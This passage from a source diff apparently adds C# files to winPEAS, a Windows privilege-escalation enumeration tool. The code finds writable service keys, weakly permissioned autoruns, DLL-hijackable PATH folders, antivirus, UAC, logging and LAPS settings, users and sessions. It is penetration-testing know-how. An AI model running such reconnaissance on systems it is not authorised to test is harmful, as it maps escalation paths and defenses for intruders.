isDotNet; + toadd["Description"] = String.Format("{0}", result["Description"]); + results.Add(toadd); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + public static List GetWriteServiceRegs() + { + List results = new List(); + try + { + RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services"); + foreach (string serviceRegName in regKey.GetSubKeyNames()) + { + if (MyUtils.CheckWriteAccessReg("HKLM", @"system\currentcontrolset\services\" + serviceRegName)) + results.Add(@"HKLM\system\currentcontrolset\services\" + serviceRegName); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + public static List> GetRegistryAutoRuns() + { + List> results = new List>(); + try + { + string[] autorunLocations = new string[] { + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunService", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceService", + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunService", + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceService" + }; + + foreach (string autorunLocation in autorunLocations) + { + Dictionary settings = MyUtils.GetRegValues("HKLM", autorunLocation); + if ((settings != null) && (settings.Count != 0)) + { + foreach (KeyValuePair kvp in settings) + { + string filepath = Environment.ExpandEnvironmentVariables(String.Format("{0}", kvp.Value)); + string folder = System.IO.Path.GetDirectoryName(filepath.Replace("'", "").Replace("\"", "")); + results.Add(new Dictionary() { + { "Reg", "HKLM\\"+autorunLocation }, + { "Folder", folder }, + { "File", filepath }, + { "isWritableReg", MyUtils.CheckWriteAccessReg("HKLM", autorunLocation).ToString()}, + { "interestingFolderRights", String.Join(", ", MyUtils.GetPermissionsFolder(folder, Program.interestingUsersGroups))}, + { "interestingFileRights", String.Join(", ", MyUtils.GetPermissionsFile(filepath, Program.interestingUsersGroups))}, + { "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(filepath).ToString() } + }); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + public static Dictionary GetPathDLLHijacking() + { + Dictionary results = new Dictionary(); + try + { + var path_env = Environment.GetEnvironmentVariable("PATH"); + List folders = path_env.Split(';').ToList(); + foreach (string folder in folders) + { + results[folder] = String.Join(", ", MyUtils.GetPermissionsFolder(folder, Program.interestingUsersGroups)); + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/SystemInfo.cs b/winPEAS/winPEASexe/winPEAS/SystemInfo.cs new file mode 100755 index 0000000..8442320 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/SystemInfo.cs @@ -0,0 +1,409 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Management; +using System.Net; +using System.Net.NetworkInformation; +using System.Windows.Forms; + +namespace winPEAS +{ + class SystemInfo + { + // From Seatbelt + public static bool IsVirtualMachine() + { + // returns true if the system is likely a virtual machine + // Adapted from RobSiklos' code from https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine/11145280#11145280 + try + { + using (var searcher = new System.Management.ManagementObjectSearcher("Select * from Win32_ComputerSystem")) + { + using (var items = searcher.Get()) + { + foreach (var item in items) + { + string manufacturer = item["Manufacturer"].ToString().ToLower(); + if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) + || manufacturer.Contains("vmware") + || item["Model"].ToString() == "VirtualBox") + { + return true; + } + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return false; + } + + //From Seatbelt + public static Dictionary GetBasicOSInfo() + { + Dictionary results = new Dictionary(); + try + { + string ProductName = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName"); + string EditionID = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "EditionID"); + string ReleaseId = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ReleaseId"); + string BuildBranch = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "BuildBranch"); + string CurrentMajorVersionNumber = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentMajorVersionNumber"); + string CurrentVersion = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion"); + + bool isHighIntegrity = MyUtils.IsHighIntegrity(); + + CultureInfo ci = CultureInfo.InstalledUICulture; + string systemLang = ci.Name; + var timeZone = TimeZoneInfo.Local; + InputLanguage myCurrentLanguage = InputLanguage.CurrentInputLanguage; + + string arch = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); + string userName = Environment.GetEnvironmentVariable("USERNAME"); + string ProcessorCount = Environment.ProcessorCount.ToString(); + bool isVM = IsVirtualMachine(); + + DateTime now = DateTime.Now; + + String strHostName = Dns.GetHostName(); + IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); + string dnsDomain = properties.DomainName; + + const string query = "SELECT HotFixID FROM Win32_QuickFixEngineering"; + var search = new ManagementObjectSearcher(query); + var collection = search.Get(); + string hotfixes = ""; + foreach (ManagementObject quickFix in collection) + hotfixes += quickFix["HotFixID"].ToString() + ", "; + + results.Add("Hostname", strHostName); + if (dnsDomain.Length > 1) results.Add("Domain Name", dnsDomain); + results.Add("ProductName", ProductName); + results.Add("EditionID", EditionID); + results.Add("ReleaseId", ReleaseId); + results.Add("BuildBranch", BuildBranch); + results.Add("CurrentMajorVersionNumber", CurrentMajorVersionNumber); + results.Add("CurrentVersion", CurrentVersion); + results.Add("Architecture", arch); + results.Add("ProcessorCount", ProcessorCount); + results.Add("SystemLang", systemLang); + results.Add("KeyboardLang", myCurrentLanguage.Culture.EnglishName); + results.Add("TimeZone", timeZone.DisplayName); + results.Add("IsVirtualMachine", isVM.ToString()); + results.Add("Current Time", now.ToString()); + results.Add("HighIntegrity", isHighIntegrity.ToString()); + results.Add("Hotfixes", hotfixes); + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + public static List> GetDrivesInfo() + { + List> results = new List> { }; + DriveInfo[] allDrives = DriveInfo.GetDrives(); + + try + { + foreach (DriveInfo d in allDrives) + { + Dictionary res = new Dictionary{ + { "Name", "" }, + { "Type", "" }, + { "Volume label", "" }, + { "Filesystem", "" }, + { "Available space", ""} + }; + + res["Name"] = d.Name; + res["Type"] = d.DriveType.ToString(); + if (d.IsReady) + { + res["Volume label"] = d.VolumeLabel; + res["Filesystem"] = d.DriveFormat; + res["Available space"] = d.TotalFreeSpace.ToString(); + } + results.Add(res); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + //From https://stackoverflow.com/questions/1331887/detect-antivirus-on-windows-using-c-sharp + public static Dictionary GetAVInfo() + { + Dictionary results = new Dictionary(); + try + { + ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct"); + ManagementObjectCollection data = wmiData.Get(); + + foreach (ManagementObject virusChecker in data) + { + results["Name"] = (string)virusChecker["displayName"]; + results["ProductEXE"] = (string)virusChecker["pathToSignedProductExe"]; + results["pathToSignedReportingExe"] = (string)virusChecker["pathToSignedReportingExe"]; + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + //From Seatbelt + public static Dictionary GetUACSystemPolicies() + { + Dictionary results = new Dictionary(); + + try + { + string ConsentPromptBehaviorAdmin = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "ConsentPromptBehaviorAdmin"); + switch (ConsentPromptBehaviorAdmin) + { + case "0": + results["ConsentPromptBehaviorAdmin"] = String.Format("{0} - No prompting", ConsentPromptBehaviorAdmin); + break; + case "1": + results["ConsentPromptBehaviorAdmin"] = String.Format("{0} - PromptOnSecureDesktop", ConsentPromptBehaviorAdmin); + break; + case "2": + results["ConsentPromptBehaviorAdmin"] = String.Format("{0} - PromptPermitDenyOnSecureDesktop", ConsentPromptBehaviorAdmin); + break; + case "3": + results["ConsentPromptBehaviorAdmin"] = String.Format("{0} - PromptForCredsNotOnSecureDesktop", ConsentPromptBehaviorAdmin); + break; + case "4": + results["ConsentPromptBehaviorAdmin"] = String.Format("{0} - PromptForPermitDenyNotOnSecureDesktop", ConsentPromptBehaviorAdmin); + break; + case "5": + results["ConsentPromptBehaviorAdmin"] = String.Format("{0} - PromptForNonWindowsBinaries", ConsentPromptBehaviorAdmin); + break; + default: + results["ConsentPromptBehaviorAdmin"] = String.Format("{0} - PromptForNonWindowsBinaries", ConsentPromptBehaviorAdmin); + break; + } + + string EnableLUA = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA"); + results["EnableLUA"] = EnableLUA; + + string LocalAccountTokenFilterPolicy = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy"); + results["LocalAccountTokenFilterPolicy"] = LocalAccountTokenFilterPolicy; + + string FilterAdministratorToken = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "FilterAdministratorToken"); + results["FilterAdministratorToken"] = FilterAdministratorToken; + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + //From Seatbelt + public static Dictionary GetPowerShellSettings() + { + Dictionary results = new Dictionary(); + + try + { + results["PowerShell v2 Version"] = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine", "PowerShellVersion"); + results["PowerShell v5 Version"] = MyUtils.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PowerShellVersion"); + results["Transcription Settings"] = ""; + results["Module Logging Settings"] = ""; + results["Scriptblock Logging Settings"] = ""; + + Dictionary transcriptionSettings = MyUtils.GetRegValues("HKLM", "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription"); + if ((transcriptionSettings != null) && (transcriptionSettings.Count != 0)) + { + foreach (KeyValuePair kvp in transcriptionSettings) + { + results["Transcription Settings"] += String.Format(" {0,30} : {1}\r\n", kvp.Key, kvp.Value); + } + } + + Dictionary moduleLoggingSettings = MyUtils.GetRegValues("HKLM", "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging"); + if ((moduleLoggingSettings != null) && (moduleLoggingSettings.Count != 0)) + { + foreach (KeyValuePair kvp in moduleLoggingSettings) + { + results["Module Logging Settings"] += String.Format(" {0,30} : {1}\r\n", kvp.Key, kvp.Value); + } + } + + Dictionary scriptBlockSettings = MyUtils.GetRegValues("HKLM", "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging"); + if ((scriptBlockSettings != null) && (scriptBlockSettings.Count != 0)) + { + foreach (KeyValuePair kvp in scriptBlockSettings) + { + results["Scriptblock Logging Settings"] = String.Format(" {0,30} : {1}\r\n", kvp.Key, kvp.Value); + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + // From seatbelt + public static Dictionary GetAuditSettings() + { + Dictionary results = new Dictionary(); + try + { + Dictionary settings = MyUtils.GetRegValues("HKLM", "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit"); + if ((settings != null) && (settings.Count != 0)) + { + foreach (KeyValuePair kvp in settings) + { + if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.String")) + { + string result = string.Join(",", (string[])kvp.Value); + results.Add(kvp.Key, result); + } + else + { + results.Add(kvp.Key, (string)kvp.Value); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + //From Seatbelt + public static Dictionary GetWEFSettings() + { + Dictionary results = new Dictionary(); + try + { + Dictionary settings = MyUtils.GetRegValues("HKLM", "Software\\Policies\\Microsoft\\Windows\\EventLog\\EventForwarding\\SubscriptionManager"); + if ((settings != null) && (settings.Count != 0)) + { + foreach (KeyValuePair kvp in settings) + { + if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.String")) + { + string result = string.Join(",", (string[])kvp.Value); + results.Add(kvp.Key, result); + } + else + { + results.Add(kvp.Key, (string)kvp.Value); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + //From Seatbelt + public static Dictionary GetLapsSettings() + { + Dictionary results = new Dictionary(); + try + { + string AdmPwdEnabled = MyUtils.GetRegValue("HKLM", "Software\\Policies\\Microsoft Services\\AdmPwd", "AdmPwdEnabled"); + + if (AdmPwdEnabled != "") + { + results["LAPS Enabled"] = AdmPwdEnabled; + results["LAPS Admin Account Name"] = MyUtils.GetRegValue("HKLM", "Software\\Policies\\Microsoft Services\\AdmPwd", "AdminAccountName"); + results["LAPS Password Complexity"] = MyUtils.GetRegValue("HKLM", "Software\\Policies\\Microsoft Services\\AdmPwd", "PasswordComplexity"); + results["LAPS Password Length"] = MyUtils.GetRegValue("HKLM", "Software\\Policies\\Microsoft Services\\AdmPwd", "PasswordLength"); + results["LAPS Expiration Protection Enabled"] = MyUtils.GetRegValue("HKLM", "Software\\Policies\\Microsoft Services\\AdmPwd", "PwdExpirationProtectionEnabled"); + } + else + { + results["LAPS Enabled"] = "LAPS not installed"; + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + //From Seatbelt + public static Dictionary GetUserEnvVariables() + { + Dictionary result = new Dictionary(); + try + { + foreach (System.Collections.DictionaryEntry env in Environment.GetEnvironmentVariables()) + result[(string)env.Key] = (string)env.Value; + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return result; + } + + //From Seatbelt + public static Dictionary GetSystemEnvVariables() + { + Dictionary result = new Dictionary(); + try + { + Dictionary settings = MyUtils.GetRegValues("HKLM", "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment"); + if ((settings != null) && (settings.Count != 0)) + { + foreach (KeyValuePair kvp in settings) + result[kvp.Key] = (string)kvp.Value; + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return result; + } + + //From Seatbelt + public static Dictionary GetInternetSettings(string root_reg) + { + // lists user/system internet settings, including default proxy info + Dictionary results = new Dictionary(); + try + { + Dictionary proxySettings = MyUtils.GetRegValues(root_reg, "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"); + if ((proxySettings != null) && (proxySettings.Count != 0)) + { + foreach (KeyValuePair kvp in proxySettings) + { + results[kvp.Key] = kvp.Value.ToString(); + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/UserInfo.cs b/winPEAS/winPEASexe/winPEAS/UserInfo.cs new file mode 100755 index 0000000..ee70798 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/UserInfo.cs @@ -0,0 +1,765 @@ +using System; +using System.Collections.Generic; +using System.Management; +using System.DirectoryServices.AccountManagement; +using System.Security.Principal; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +//Configuring Fody: https://tech.trailmax.info/2014/01/bundling-all-your-assemblies-into-one-or-alternative-to-ilmerge/ +//I have also created the folder Costura32 and Costura64 with the respective Dlls of Colorful.Console + +namespace winPEAS +{ + public sealed class SamServer : IDisposable + { + private IntPtr _handle; + + public SamServer(string name, SERVER_ACCESS_MASK access) + { + Name = name; + Check(SamConnect(new UNICODE_STRING(name), out _handle, access, IntPtr.Zero)); + } + + public string Name { get; } + + public void Dispose() + { + if (_handle != IntPtr.Zero) + { + SamCloseHandle(_handle); + _handle = IntPtr.Zero; + } + } + + public void SetDomainPasswordInformation(SecurityIdentifier domainSid, DOMAIN_PASSWORD_INFORMATION passwordInformation) + { + if (domainSid == null) + throw new ArgumentNullException(nameof(domainSid)); + + var sid = new byte[domainSid.BinaryLength]; + domainSid.GetBinaryForm(sid, 0); + + Check(SamOpenDomain(_handle, DOMAIN_ACCESS_MASK.DOMAIN_WRITE_PASSWORD_PARAMS, sid, out IntPtr domain)); + IntPtr info = Marshal.AllocHGlobal(Marshal.SizeOf(passwordInformation)); + Marshal.StructureToPtr(passwordInformation, info, false); + try + { + Check(SamSetInformationDomain(domain, DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, info)); + } + finally + { + Marshal.FreeHGlobal(info); + SamCloseHandle(domain); + } + } + + public DOMAIN_PASSWORD_INFORMATION GetDomainPasswordInformation(SecurityIdentifier domainSid) + { + if (domainSid == null) + throw new ArgumentNullException(nameof(domainSid)); + + var sid = new byte[domainSid.BinaryLength]; + domainSid.GetBinaryForm(sid, 0); + + Check(SamOpenDomain(_handle, DOMAIN_ACCESS_MASK.DOMAIN_READ_PASSWORD_PARAMETERS, sid, out IntPtr domain)); + var info = IntPtr.Zero; + try + { + Check(SamQueryInformationDomain(domain, DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, out info)); + return (DOMAIN_PASSWORD_INFORMATION)Marshal.PtrToStructure(info, typeof(DOMAIN_PASSWORD_INFORMATION)); + } + finally + { + SamFreeMemory(info); + SamCloseHandle(domain); + } + } + + public SecurityIdentifier GetDomainSid(string domain) + { + if (domain == null) + throw new ArgumentNullException(nameof(domain)); + + Check(SamLookupDomainInSamServer(_handle, new UNICODE_STRING(domain), out IntPtr sid)); + return new SecurityIdentifier(sid); + } + + public IEnumerable EnumerateDomains() + { + int cookie = 0; + while (true) + { + var status = SamEnumerateDomainsInSamServer(_handle, ref cookie, out IntPtr info, 1, out int count); + if (status != NTSTATUS.STATUS_SUCCESS && status != NTSTATUS.STATUS_MORE_ENTRIES) + Check(status); + + if (count == 0) + break; + + var us = (UNICODE_STRING)Marshal.PtrToStructure(info + IntPtr.Size, typeof(UNICODE_STRING)); + SamFreeMemory(info); + yield return us.ToString(); + us.Buffer = IntPtr.Zero; // we don't own this one + } + } + + private enum DOMAIN_INFORMATION_CLASS + { + DomainPasswordInformation = 1, + } + + [Flags] + public enum PASSWORD_PROPERTIES + { + DOMAIN_PASSWORD_COMPLEX = 0x00000001, + DOMAIN_PASSWORD_NO_ANON_CHANGE = 0x00000002, + DOMAIN_PASSWORD_NO_CLEAR_CHANGE = 0x00000004, + DOMAIN_LOCKOUT_ADMINS = 0x00000008, + DOMAIN_PASSWORD_STORE_CLEARTEXT = 0x00000010, + DOMAIN_REFUSE_PASSWORD_CHANGE = 0x00000020, + } + + [Flags] + private enum DOMAIN_ACCESS_MASK + { + DOMAIN_READ_PASSWORD_PARAMETERS = 0x00000001, + DOMAIN_WRITE_PASSWORD_PARAMS = 0x00000002, + DOMAIN_READ_OTHER_PARAMETERS = 0x00000004, + DOMAIN_WRITE_OTHER_PARAMETERS = 0x00000008, + DOMAIN_CREATE_USER = 0x00000010, + DOMAIN_CREATE_GROUP = 0x00000020, + DOMAIN_CREATE_ALIAS = 0x00000040, + DOMAIN_GET_ALIAS_MEMBERSHIP = 0x00000080, + DOMAIN_LIST_ACCOUNTS = 0x00000100, + DOMAIN_LOOKUP = 0x00000200, + DOMAIN_ADMINISTER_SERVER = 0x00000400, + DOMAIN_ALL_ACCESS = 0x000F07FF, + DOMAIN_READ = 0x00020084, + DOMAIN_WRITE = 0x0002047A, + DOMAIN_EXECUTE = 0x00020301 + } + + [Flags] + public enum SERVER_ACCESS_MASK + { + SAM_SERVER_CONNECT = 0x00000001, + SAM_SERVER_SHUTDOWN = 0x00000002, + SAM_SERVER_INITIALIZE = 0x00000004, + SAM_SERVER_CREATE_DOMAIN = 0x00000008, + SAM_SERVER_ENUMERATE_DOMAINS = 0x00000010, + SAM_SERVER_LOOKUP_DOMAIN = 0x00000020, + SAM_SERVER_ALL_ACCESS = 0x000F003F, + SAM_SERVER_READ = 0x00020010, + SAM_SERVER_WRITE = 0x0002000E, + SAM_SERVER_EXECUTE = 0x00020021 + } + + [StructLayout(LayoutKind.Sequential)] + public struct DOMAIN_PASSWORD_INFORMATION + { + public short MinPasswordLength; + public short PasswordHistoryLength; + public PASSWORD_PROPERTIES PasswordProperties; + private long _maxPasswordAge; + private long _minPasswordAge; + + public TimeSpan MaxPasswordAge + { + get + { + return -new TimeSpan(_maxPasswordAge); + } + set + { + _maxPasswordAge = value.Ticks; + } + } + + public TimeSpan MinPasswordAge + { + get + { + return -new TimeSpan(_minPasswordAge); + } + set + { + _minPasswordAge = value.Ticks; + } + } + } + + [StructLayout(LayoutKind.Sequential)] + private class UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + + public UNICODE_STRING() + : this(null) + { + } + + public UNICODE_STRING(string s) + { + if (s != null) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + Buffer = Marshal.StringToHGlobalUni(s); + } + } + + public override string ToString() => Buffer != IntPtr.Zero ? Marshal.PtrToStringUni(Buffer) : null; + + protected virtual void Dispose(bool disposing) + { + if (Buffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(Buffer); + Buffer = IntPtr.Zero; + } + } + + ~UNICODE_STRING() => Dispose(false); + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } + + private static void Check(NTSTATUS err) + { + if (err == NTSTATUS.STATUS_SUCCESS) + return; + + //throw new System.ComponentModel.Win32Exception("Error " + err + " (0x" + ((int)err).ToString("X8") + ")"); + } + + private enum NTSTATUS + { + STATUS_SUCCESS = 0x0, + STATUS_MORE_ENTRIES = 0x105, + STATUS_INVALID_HANDLE = unchecked((int)0xC0000008), + STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D), + STATUS_ACCESS_DENIED = unchecked((int)0xC0000022), + STATUS_OBJECT_TYPE_MISMATCH = unchecked((int)0xC0000024), + STATUS_NO_SUCH_DOMAIN = unchecked((int)0xC00000DF), + } + + [DllImport("samlib.dll", CharSet = CharSet.Unicode)] + private static extern NTSTATUS SamConnect(UNICODE_STRING ServerName, out IntPtr ServerHandle, SERVER_ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes); + + [DllImport("samlib.dll", CharSet = CharSet.Unicode)] + private static extern NTSTATUS SamCloseHandle(IntPtr ServerHandle); + + [DllImport("samlib.dll", CharSet = CharSet.Unicode)] + private static extern NTSTATUS SamFreeMemory(IntPtr Handle); + + [DllImport("samlib.dll", CharSet = CharSet.Unicode)] + private static extern NTSTATUS SamOpenDomain(IntPtr ServerHandle, DOMAIN_ACCESS_MASK DesiredAccess, byte[] DomainId, out IntPtr DomainHandle); + + [DllImport("samlib.dll", CharSet = CharSet.Unicode)] + private static extern NTSTATUS SamLookupDomainInSamServer(IntPtr ServerHandle, UNICODE_STRING name, out IntPtr DomainId); + + [DllImport("samlib.dll", CharSet = CharSet.Unicode)] + private static extern NTSTATUS SamQueryInformationDomain(IntPtr DomainHandle, DOMAIN_INFORMATION_CLASS DomainInformationClass, out IntPtr Buffer); + + [DllImport("samlib.dll", CharSet = CharSet.Unicode)] + private static extern NTSTATUS SamSetInformationDomain(IntPtr DomainHandle, DOMAIN_INFORMATION_CLASS DomainInformationClass, IntPtr Buffer); + + [DllImport("samlib.dll", CharSet = CharSet.Unicode)] + private static extern NTSTATUS SamEnumerateDomainsInSamServer(IntPtr ServerHandle, ref int EnumerationContext, out IntPtr EnumerationBuffer, int PreferedMaximumLength, out int CountReturned); + } + + class UserInfo + { + // https://stackoverflow.com/questions/5247798/get-list-of-local-computer-usernames-in-windows + public static List GetMachineUsers(Boolean onlyActive, Boolean onlyDisabled, Boolean onlyLockout, Boolean onlyAdmins, Boolean fullInfo) + { + List retList = new List(); + try + { + SelectQuery query = new SelectQuery("Win32_UserAccount"); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(query); + foreach (ManagementObject user in searcher.Get()) + { + if (onlyActive && !(bool)user["Disabled"] && !(bool)user["Lockout"]) retList.Add((string)user["Name"]); + else if (onlyDisabled && (bool)user["Disabled"] && !(bool)user["Lockout"]) retList.Add((string)user["Name"]); + else if (onlyLockout && (bool)user["Lockout"]) retList.Add((string)user["Name"]); + else if (onlyAdmins) + { + if ((string.Join(",", GetUserGroups((string)user["Name"])).Contains("Admin"))) retList.Add((string)user["Name"]); + } + else if (fullInfo) + { + string userLine = user["Caption"] + ((string)user["Fullname"] != "false" ? "" : " (" + user["Fullname"] + ")") + ((bool)user["Disabled"] ? "(Disabled)" : "") + ((bool)user["Lockout"] ? "(Lockout)" : "") + (((string)user["Description"]).Length > 1 ? ": " + user["Description"] : ""); + List user_groups = GetUserGroups((string)user["Name"]); + string groupsLine = ""; + if (user_groups.Count > 0) + { + groupsLine = "\n\t|->Groups: " + string.Join(",", user_groups); + } + string passLine = "\n\t|->Password: " + ((bool)user["PasswordChangeable"] ? "CanChange" : "NotChange") + "-" + ((bool)user["PasswordExpires"] ? "Expi" : "NotExpi") + "-" + ((bool)user["PasswordRequired"] ? "Req" : "NotReq"); + retList.Add(userLine + groupsLine + passLine); + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return retList; + } + + // https://stackoverflow.com/questions/3679579/check-for-groups-a-local-user-is-a-member-of/3681442#3681442 + public static List GetUserGroups(string sUserName) + { + List myItems = new List(); + try + { + UserPrincipal oUserPrincipal = GetUser(sUserName); + PrincipalSearchResult oPrincipalSearchResult = oUserPrincipal.GetGroups(); + foreach (Principal oResult in oPrincipalSearchResult) + { + myItems.Add(oResult.Name); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return myItems; + } + + public static UserPrincipal GetUser(string sUserName) + { + try + { + // Extract local user information + //https://stackoverflow.com/questions/14594545/query-local-administrator-group + var context = new PrincipalContext(ContextType.Machine); + var user = new UserPrincipal(context); + user.SamAccountName = sUserName; + var searcher = new PrincipalSearcher(user); + user = searcher.FindOne() as UserPrincipal; + return user; + } + catch (Exception ex) + { + //if not local, try to extract domain user information + //https://stackoverflow.com/questions/12710355/check-if-user-is-a-domain-user-or-local-user/12710452 + var domainContext = new PrincipalContext(ContextType.Domain, Environment.UserDomainName); + UserPrincipal domainuser = UserPrincipal.FindByIdentity(domainContext, IdentityType.SamAccountName, sUserName); + return domainuser; + } + } + + public static PrincipalContext GetPrincipalContext() + { + PrincipalContext oPrincipalContext = new PrincipalContext(ContextType.Machine); + return oPrincipalContext; + } + + public static List GetLoggedUsers() + { + List retList = new List(); + try + { + ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_UserProfile WHERE Loaded = True"); + foreach (ManagementObject user in searcher.Get()) + { + string username = new SecurityIdentifier(user["SID"].ToString()).Translate(typeof(NTAccount)).ToString(); + if (!username.Contains("NT AUTHORITY")) retList.Add(username); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return retList; + } + + + //From Seatbelt + public enum WTS_CONNECTSTATE_CLASS + { + Active, + Connected, + ConnectQuery, + Shadow, + Disconnected, + Idle, + Listen, + Reset, + Down, + Init + } + public enum WTS_INFO_CLASS + { + WTSInitialProgram = 0, + WTSApplicationName = 1, + WTSWorkingDirectory = 2, + WTSOEMId = 3, + WTSSessionId = 4, + WTSUserName = 5, + WTSWinStationName = 6, + WTSDomainName = 7, + WTSConnectState = 8, + WTSClientBuildNumber = 9, + WTSClientName = 10, + WTSClientDirectory = 11, + WTSClientProductId = 12, + WTSClientHardwareId = 13, + WTSClientAddress = 14, + WTSClientDisplay = 15, + WTSClientProtocolType = 16, + WTSIdleTime = 17, + WTSLogonTime = 18, + WTSIncomingBytes = 19, + WTSOutgoingBytes = 20, + WTSIncomingFrames = 21, + WTSOutgoingFrames = 22, + WTSClientInfo = 23, + WTSSessionInfo = 24, + WTSSessionInfoEx = 25, + WTSConfigInfo = 26, + WTSValidationInfo = 27, + WTSSessionAddressV4 = 28, + WTSIsRemoteSession = 29 + } + [DllImport("wtsapi32.dll")] + static extern void WTSCloseServer(IntPtr hServer); + public static void CloseServer(IntPtr ServerHandle) + { + WTSCloseServer(ServerHandle); + } + [StructLayout(LayoutKind.Sequential)] + public struct WTS_CLIENT_ADDRESS + { + public uint AddressFamily; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 20)] + public byte[] Address; + } + [DllImport("Wtsapi32.dll", SetLastError = true)] + static extern bool WTSQuerySessionInformation( + IntPtr hServer, + uint sessionId, + WTS_INFO_CLASS wtsInfoClass, + out IntPtr ppBuffer, + out uint pBytesReturned + ); + [StructLayout(LayoutKind.Sequential)] + private struct WTS_SESSION_INFO_1 + { + public Int32 ExecEnvId; + + public WTS_CONNECTSTATE_CLASS State; + + public Int32 SessionID; + + [MarshalAs(UnmanagedType.LPStr)] + public String pSessionName; + + [MarshalAs(UnmanagedType.LPStr)] + public String pHostName; + + [MarshalAs(UnmanagedType.LPStr)] + public String pUserName; + + [MarshalAs(UnmanagedType.LPStr)] + public String pDomainName; + + [MarshalAs(UnmanagedType.LPStr)] + public String pFarmName; + } + [DllImport("wtsapi32.dll", SetLastError = true)] + static extern IntPtr WTSOpenServer([MarshalAs(UnmanagedType.LPStr)] String pServerName); + public static IntPtr OpenServer(String Name) + { + IntPtr server = WTSOpenServer(Name); + return server; + } + [DllImport("wtsapi32.dll", SetLastError = true)] + static extern Int32 WTSEnumerateSessionsEx( + IntPtr hServer, + 